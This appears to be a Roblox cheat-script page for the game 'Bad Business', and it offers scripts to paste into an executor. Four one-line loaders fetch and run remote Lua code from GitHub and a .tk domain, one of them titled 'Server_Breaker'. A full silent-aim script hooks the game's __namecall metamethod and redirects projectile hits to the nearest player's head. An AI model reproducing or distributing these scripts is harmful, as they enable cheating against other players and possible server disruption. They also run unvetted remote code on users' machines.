Copy the Script code from Below and Paste in Any best Roblox Script Executor
1.
loadstring(game:HttpGet("https://raw.githubusercontent.com/The3Bakers4565/Spicy-Bagel/main/Other/Bad_Business/Server_Breaker.lua"))()
2.
loadstring(game:HttpGet("https://raw.githubusercontent.com/The3Bakers4565/Spicy-Bagel/main/Other/Bad_Business/Frag_TP.lua"))()
3.
loadstring(game:HttpGet('http://cattoware.tk/main.lua'))()
4.
loadstring(game:HttpGet("https://raw.githubusercontent.com/RandomAdamYT/DarkHub/master/Init", true))()
5.
getgenv().silentaim_settings = {
fov = 150,
hitbox = "Head",
fovcircle = true
}
-- Services
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- Modules
local Ts = require(ReplicatedStorage.TS)
-- Player
local Player = Players.LocalPlayer
local Mouse = Player:GetMouse()
local CurrentCamera = workspace.CurrentCamera
-- Get Closest
local function GetClosest(Fov)
local Target, Closest = nil, Fov or math.huge
for i,v in pairs(Players:GetPlayers()) do
local Character = Ts.Characters:GetCharacter(v)
if (v and Character and v ~= Player and Character.Hitbox and Character.Hitbox:FindFirstChild(getgenv().silentaim_settings.hitbox)) then
local Position, OnScreen = CurrentCamera:WorldToScreenPoint(Character.Hitbox[getgenv().silentaim_settings.hitbox].Position)
local Distance = (Vector2.new(Position.X, Position.Y) - Vector2.new(Mouse.X, Mouse.Y)).Magnitude
if (Distance < Closest and OnScreen) then
Closest = Distance
Target = v
end
end
end
return Target
end
-- Define target and draw circle
local Target
local CircleInline = Drawing.new("Circle")
local CircleOutline = Drawing.new("Circle")
RunService.Stepped:Connect(function()
CircleInline.Radius = getgenv().silentaim_settings.fov
CircleInline.Thickness = 2
CircleInline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
CircleInline.Transparency = 1
CircleInline.Color = Color3.fromRGB(255, 255, 255)
CircleInline.Visible = getgenv().silentaim_settings.fovcircle
CircleInline.ZIndex = 2
CircleOutline.Radius = getgenv().silentaim_settings.fov
CircleOutline.Thickness = 4
CircleOutline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
CircleOutline.Transparency = 1
CircleOutline.Color = Color3.new()
CircleOutline.Visible = getgenv().silentaim_settings.fovcircle
CircleOutline.ZIndex = 1
Target = GetClosest(getgenv().silentaim_settings.fov)
end)
-- Main hooking
local Old; Old = hookmetamethod(game, "__namecall", function(Self, ...)
local Args = {...}
if (not checkcaller() and Target and Self.Name == "Projectiles") then
Character = Ts.Characters:GetCharacter(Target)
if (Character and Character.Hitbox and Character.Hitbox[getgenv().silentaim_settings.hitbox] and Args[1] == "__Hit") then
Args[3] = Character.Hitbox[getgenv().silentaim_settings.hitbox].Position
Args[4] = Character.Hitbox[getgenv().silentaim_settings.hitbox]
end
end
return Old(Self, unpack(Args))
end)